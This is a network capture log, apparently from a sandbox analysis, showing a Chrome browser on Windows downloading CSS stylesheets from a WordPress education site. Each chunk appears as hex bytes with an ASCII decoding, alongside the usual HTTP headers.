2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 2d 70 72 65 76 2d 70 72 65 76 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 33 33 29 7d 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 2d 6e 65 78 74 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 36 36 29 7d 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 2d 6e 65 78 74 2d 6e 65 78 74 7b 74 72 Data Ascii: -bullets-dynamic .swiper-pagination-bullet-active-prev-prev{transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{tr
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6c 6c 65 74 73 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 7b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3e 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 32 73 20 74 72 61 6e 73 66 6f 72 6d 2c 2e 32 73 20 6c 65 66 74 7d 2e 73 77 69 70 65 72 2d 63 6f Data Ascii: llets.swiper-pagination-bullets-dynamic{left:50%;transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:.2s transform,.2s left}.swiper-co
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6c 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3e 2e 73 77 69 70 65 72 2d 73 63 72 6f 6c 6c 62 61 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 31 25 3b 62 6f 74 74 6f 6d 3a 33 70 78 3b 7a 2d 69 6e 64 65 78 3a 35 30 3b 68 65 69 67 68 74 3a 35 70 78 3b 77 69 64 74 68 3a 39 38 25 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 65 72 74 69 63 61 6c 3e 2e 73 77 69 70 65 72 2d 73 63 72 6f 6c 6c 62 61 72 7b 70 6f 73 69 Data Ascii: lbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{posi
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 30 3b 7a 2d 69 6e 64 65 78 3a 2d 31 30 30 30 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 61 64 65 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 72 65 65 2d 6d 6f 64 65 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 7d 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 61 64 65 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 6f 70 61 63 69 74 Data Ascii: ition:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-fade.swiper-container-free-mode .swiper-slide{transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;transition-property:opacit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49719	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	606	OUT	GET /wp-content/themes/edumall/assets/libs/lightGallery/css/lightgallery.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4e0d1c9dff-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-4fea" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z4NhDVIlu1usnBcGYKoF1kaHfsgkAYzHpW8aFmhmufBX4urGLXN8%2B6xkHeg0xuwsjmb%2BCbcrI%2BWLv6dGrtaQMcPrQ3S%2FrEhgN0%2FI%2BWPHuA6GpayploZw7m3yDxy9ODGniog%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	437	IN	Data Raw: 34 66 65 61 0d 0a 2e 6c 67 2d 73 75 62 2d 68 74 6d 6c 2c 2e 6c 67 2d 74 6f 6f 6c 62 61 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 34 35 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6c 67 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 6c 67 2e 65 6f 74 3f 6e 31 7a 33 37 33 29 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 6c 67 2e 65 6f 74 3f 23 69 65 66 69 78 6e 31 7a 33 37 33 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 6c 67 2e 77 6f 66 66 3f 6e 31 7a 33 37 33 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 6c 67 2e 74 74 66 3f 6e 31 7a Data Ascii: 4fea.lg-sub-html,.lg-toolbar{background-color:rgba(0,0,0,.45)}@font-face{font-family:lg;src:url(../fonts/lg.eot?n1z373);src:url(../fonts/lg.eot?#iefixn1z373) format("embedded-opentype"),url(../fonts/lg.woff?n1z373) format("woff"),url(../fonts/lg.ttf?n1z
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6e 74 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 6c 67 2d 61 63 74 69 6f 6e 73 20 2e 6c 67 2d 6e 65 78 74 2c 2e 6c 67 2d 61 63 74 69 6f 6e 73 20 2e 6c 67 2d 70 72 65 76 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 34 35 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 63 6f 6c 6f 72 3a 23 39 39 39 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: nt:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.lg-actions .lg-next,.lg-actions .lg-prev{background-color:rgba(0,0,0,.45);border-radius:2px;color:#999;cursor:pointer;display:block;font-size
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 33 73 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6c 67 2d 6c 65 66 74 2d 65 6e 64 20 2e 33 73 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6c 67 2d 74 6f 6f 6c 62 61 72 7b 7a 2d 69 6e 64 65 78 3a 31 30 38 32 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6c 67 2d 74 6f 6f 6c 62 61 72 20 2e 6c 67 2d 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 23 39 39 39 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 68 65 69 67 68 74 3a 34 37 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 37 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 Data Ascii: 3s;animation:lg-left-end .3s;position:relative}.lg-toolbar{z-index:1082;left:0;position:absolute;top:0;width:100%}.lg-toolbar .lg-icon{color:#999;cursor:pointer;float:right;font-size:24px;height:47px;line-height:27px;padding:10px 0;text-align:center;width
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 20 2e 32 73 20 6c 69 6e 65 61 72 7d 2e 6c 67 2d 68 69 64 65 2d 69 74 65 6d 73 20 2e 6c 67 2d 70 72 65 76 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 7d 2e 6c 67 2d 68 69 64 65 2d 69 74 65 6d 73 20 2e 6c 67 2d 6e 65 78 74 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 70 78 2c 30 2c 30 29 7d 2e 6c 67 2d 68 69 64 65 2d 69 74 65 6d 73 20 2e 6c 67 2d 74 6f 6f 6c 62 61 72 7b 6f Data Ascii: r .2s linear}.lg-hide-items .lg-prev{opacity:0;-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}.lg-hide-items .lg-next{opacity:0;-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}.lg-hide-items .lg-toolbar{o
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 32 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 32 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 32 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 32 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 7d 2e 6c 67 2d 6f 75 74 65 72 20 2e 6c 67 Data Ascii: ebkit-transition:-webkit-transform .25s cubic-bezier(0,0,.25,1) 0s;-moz-transition:-moz-transform .25s cubic-bezier(0,0,.25,1) 0s;-o-transition:-o-transform .25s cubic-bezier(0,0,.25,1) 0s;transition:transform .25s cubic-bezier(0,0,.25,1) 0s}.lg-outer .lg
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6d 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 6c 67 2d 6f 75 74 65 72 2e 6c 67 2d 70 75 6c 6c 2d 63 61 70 74 69 6f 6e 2d 75 70 20 2e 6c 67 2d 73 75 62 2d 68 74 6d 6c 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 74 74 6f 6d 20 2e 32 35 73 20 65 61 73 65 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 74 74 6f 6d 20 2e 32 35 73 20 65 61 73 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 74 74 6f 6d 20 2e 32 35 73 20 65 61 73 65 7d 2e 6c 67 2d 6f 75 74 65 72 2e 6c 67 2d 70 75 6c 6c 2d 63 61 70 74 69 6f 6e 2d 75 70 2e 6c 67 2d 74 68 75 6d 62 2d 6f 70 65 6e 20 2e 6c 67 2d 73 75 62 2d 68 74 6d 6c 7b 62 6f 74 74 6f 6d 3a 31 30 30 70 78 7d 2e 6c 67 2d 6f 75 74 65 72 20 2e 6c 67 2d 74 6f 6f 67 6c 65 2d 74 68 75 6d 62 7b 62 61 63 Data Ascii: m{padding-bottom:0}.lg-outer.lg-pull-caption-up .lg-sub-html{-webkit-transition:bottom .25s ease;-o-transition:bottom .25s ease;transition:bottom .25s ease}.lg-outer.lg-pull-caption-up.lg-thumb-open .lg-sub-html{bottom:100px}.lg-outer .lg-toogle-thumb{bac
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 72 20 2e 6c 67 2d 68 61 73 2d 68 74 6d 6c 35 20 2e 6c 67 2d 76 69 64 65 6f 2d 70 6c 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 76 69 64 65 6f 2d 70 6c 61 79 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 68 65 69 67 68 74 3a 36 34 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 33 32 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 33 32 70 78 3b 77 69 64 74 68 3a 36 34 70 78 3b 6f 70 61 63 69 74 79 3a 2e 38 7d 2e 6c 67 2d 6f 75 74 65 72 20 2e 6c 67 2d 68 61 73 2d 68 74 6d 6c 35 3a 68 6f 76 65 72 20 2e 6c 67 2d 76 69 64 65 6f 2d 70 6c 61 79 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 6c 67 2d 6f 75 74 65 72 20 2e 6c 67 2d 68 61 73 2d 79 6f 75 74 75 62 65 20 2e 6c 67 2d 76 69 64 65 6f 2d 70 6c 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a Data Ascii: r .lg-has-html5 .lg-video-play{background:url(../img/video-play.png) no-repeat;height:64px;margin-left:-32px;margin-top:-32px;width:64px;opacity:.8}.lg-outer .lg-has-html5:hover .lg-video-play{opacity:1}.lg-outer .lg-has-youtube .lg-video-play{background:
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6f 75 74 65 72 2e 6c 67 2d 63 73 73 33 2e 6c 67 2d 7a 6f 6f 6d 2d 64 72 61 67 67 69 6e 67 20 2e 6c 67 2d 69 74 65 6d 2e 6c 67 2d 63 6f 6d 70 6c 65 74 65 2e 6c 67 2d 7a 6f 6f 6d 61 62 6c 65 20 2e 6c 67 2d 69 6d 67 2d 77 72 61 70 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 2e 6c 67 2d 6f 75 74 65 72 2e 6c 67 2d 75 73 65 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 66 6f 72 2d 7a 6f 6f 6d 20 2e 6c 67 2d 69 74 65 6d 2e 6c 67 2d 63 6f 6d 70 6c 65 74 65 2e 6c 67 2d 7a 6f 6f 6d 61 62 6c 65 20 2e 6c 67 2d 69 6d 67 2d 77 72 61 70 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 33 73 20 Data Ascii: outer.lg-css3.lg-zoom-dragging .lg-item.lg-complete.lg-zoomable .lg-img-wrap{-webkit-transition-duration:0s;transition-duration:0s}.lg-outer.lg-use-transition-for-zoom .lg-item.lg-complete.lg-zoomable .lg-img-wrap{-webkit-transition:-webkit-transform .3s
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 61 6e 74 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 33 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 2c 6f 70 61 63 69 74 79 20 2e 31 35 73 21 69 6d 70 6f 72 74 61 6e 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 33 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 35 2c 31 29 20 30 73 2c 6f 70 61 63 69 74 79 20 2e 31 35 73 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 20 30 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 20 30 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 20 30 3b 74 72 61 6e 73 66 6f 72 6d 2d Data Ascii: mportant;-o-transition:-o-transform .3s cubic-bezier(0,0,.25,1) 0s,opacity .15s!important;transition:transform .3s cubic-bezier(0,0,.25,1) 0s,opacity .15s!important;-webkit-transform-origin:0 0;-moz-transform-origin:0 0;-ms-transform-origin:0 0;transform-
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 74 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 31 35 73 20 65 61 73 65 20 30 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 35 73 20 65 61 73 65 20 30 73 2c 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 31 35 73 20 65 61 73 65 20 30 73 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 35 73 20 65 61 73 65 20 30 73 2c 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 31 35 73 20 65 61 73 65 20 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 31 35 73 20 65 61 73 65 20 30 73 2c 74 72 61 6e 73 66 6f 72 6d 20 2e 31 35 73 20 65 61 73 65 20 30 73 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 35 70 78 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: t-transform .15s ease 0s;-moz-transition:opacity .15s ease 0s,-moz-transform .15s ease 0s;-o-transition:opacity .15s ease 0s,-o-transform .15s ease 0s;transition:opacity .15s ease 0s,transform .15s ease 0s;-webkit-transform:translate3d(0,5px,0);transform:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49720	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	566	OUT	GET /wp-content/themes/edumall/style.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	933	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4f79297c81-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-6df26" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Isl6gtsZIwW02pA7EbgG0Y48EQq3Q5bVZ4m3Ar3cOws36EjUnhz%2Bc%2FcGiW9UqEuUsulbgPuny6o9e25qKGI%2FyQPS9sU5wPdK%2BoVW9B3Btq%2FyoP%2Fyosp5BpxtIL0vYPcnLjk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	436	IN	Data Raw: 37 63 30 62 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 0a 0a 0a 0a 2f 2a 21 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 45 64 75 6d 61 6c 6c 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 65 64 75 6d 61 6c 6c 2e 74 68 65 6d 65 6d 6f 76 65 2e 63 6f 6d 0a 41 75 74 68 6f 72 3a 20 54 68 65 6d 65 4d 6f 76 65 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 74 68 65 6d 65 6d 6f 76 65 2e 63 6f 6d 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 45 64 75 6d 61 6c 6c 20 e2 80 93 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 4c 4d 53 20 45 64 75 63 61 74 69 6f 6e 20 43 65 6e 74 65 72 20 57 6f 72 64 50 72 65 73 73 20 54 68 65 6d 65 0a 56 65 72 73 69 6f 6e 3a 20 32 2e 34 2e 31 0a 4c 69 63 65 6e 73 65 3a 20 47 4e 55 20 47 65 6e 65 72 61 6c Data Ascii: 7c0b@charset "UTF-8";/*!Theme Name: EdumallTheme URI: https://edumall.thememove.comAuthor: ThemeMoveAuthor URI: https://thememove.comDescription: Edumall Professional LMS Education Center WordPress ThemeVersion: 2.4.1License: GNU General
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 2d 73 75 70 70 6f 72 74 2c 20 73 74 69 63 6b 79 2d 70 6f 73 74 2c 20 74 68 72 65 61 64 65 64 2d 63 6f 6d 6d 65 6e 74 73 2c 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 61 64 79 0a 2a 2f 2e 61 72 63 68 69 76 65 2d 6c 61 79 6f 75 74 2d 73 77 69 74 63 68 65 72 20 2e 73 77 69 74 63 68 65 72 2d 69 74 65 6d 3a 61 66 74 65 72 2c 2e 61 72 63 68 69 76 65 2d 6c 61 79 6f 75 74 2d 73 77 69 74 63 68 65 72 20 2e 73 77 69 74 63 68 65 72 2d 69 74 65 6d 3a 62 65 66 6f 72 65 2c 2e 61 72 63 68 69 76 65 2d 74 6f 70 2d 66 69 6c 74 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 75 6e 74 2c 2e 62 6c 6f 67 2d 6e 61 76 2d 6c 69 6e 6b 73 20 2e 69 6e 6e 65 72 20 2e 68 6f 76 65 72 2d 62 67 2c 2e 62 6c 6f 67 2d 6e 61 76 2d 6c 69 6e 6b 73 20 2e 69 6e 6e 65 72 20 68 36 3a 62 65 66 6f 72 65 Data Ascii: -support, sticky-post, threaded-comments, translation-ready*/.archive-layout-switcher .switcher-item:after,.archive-layout-switcher .switcher-item:before,.archive-top-filter-content .count,.blog-nav-links .inner .hover-bg,.blog-nav-links .inner h6:before
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6c 2d 6e 69 63 65 2d 73 65 6c 65 63 74 2c 2e 65 64 75 6d 61 6c 6c 2d 6e 69 63 65 2d 73 65 6c 65 63 74 2d 77 72 61 70 20 2e 65 64 75 6d 61 6c 6c 2d 6e 69 63 65 2d 73 65 6c 65 63 74 2d 63 75 72 72 65 6e 74 2c 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 2d 76 69 64 65 6f 2d 62 75 74 74 6f 6e 2d 65 66 66 65 63 74 2d 77 61 76 65 2d 70 75 6c 73 65 20 2e 76 69 64 65 6f 2d 62 75 74 74 6f 6e 2d 6d 61 73 6b 2c 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 20 2e 62 75 74 74 6f 6e 2d 63 6c 6f 73 65 2d 70 6f 70 75 70 2c 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 2e 6f 70 65 6e 2c 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 20 2e 70 6f 70 75 70 2d 63 6f 6e 74 65 6e 74 2c 2e 65 64 75 